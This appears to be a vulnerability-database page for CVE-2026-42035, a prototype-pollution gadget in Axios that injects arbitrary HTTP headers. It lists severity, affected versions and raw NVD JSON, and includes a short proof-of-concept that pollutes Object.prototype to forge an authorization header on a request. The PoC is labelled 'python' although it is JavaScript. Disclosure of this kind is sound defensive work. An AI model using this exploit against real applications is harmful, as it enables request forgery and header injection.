Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-42035 CVSS 7.4 HIGH

CVE-2026-42035

Published: 2026-04-24 18:16:30
Last Modified: 2026-04-27 19:58:39

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself β€” any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios < 1.15.1
Axios < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// 1. Pollute Object.prototype with the required gadget properties Object.prototype.getHeaders = function() { // Inject arbitrary headers return { 'x-malicious-header': 'exploited-by-cve-2026-42035', 'authorization': 'Bearer attacker-token' }; }; Object.prototype.append = function() {}; Object.prototype.pipe = function() {}; Object.prototype.on = function() {}; Object.prototype.once = function() {}; Object.prototype[Symbol.toStringTag] = 'FormData'; const axios = require('axios'); // Vulnerable version < 1.15.1 or < 0.31.1 // 2. Send a request with a plain object payload // Due to prototype pollution, Axios treats this plain object as FormData // and merges the headers returned by the polluted getHeaders() into the request. axios.post('http://victim-endpoint.com/api', { some: 'data' }) .then(response => console.log('Request sent:', response.status)) .catch(error => console.error('Error:', error.message));

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42035", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.273", "lastModified": "2026-04-27T19:58:39.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself β€” any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}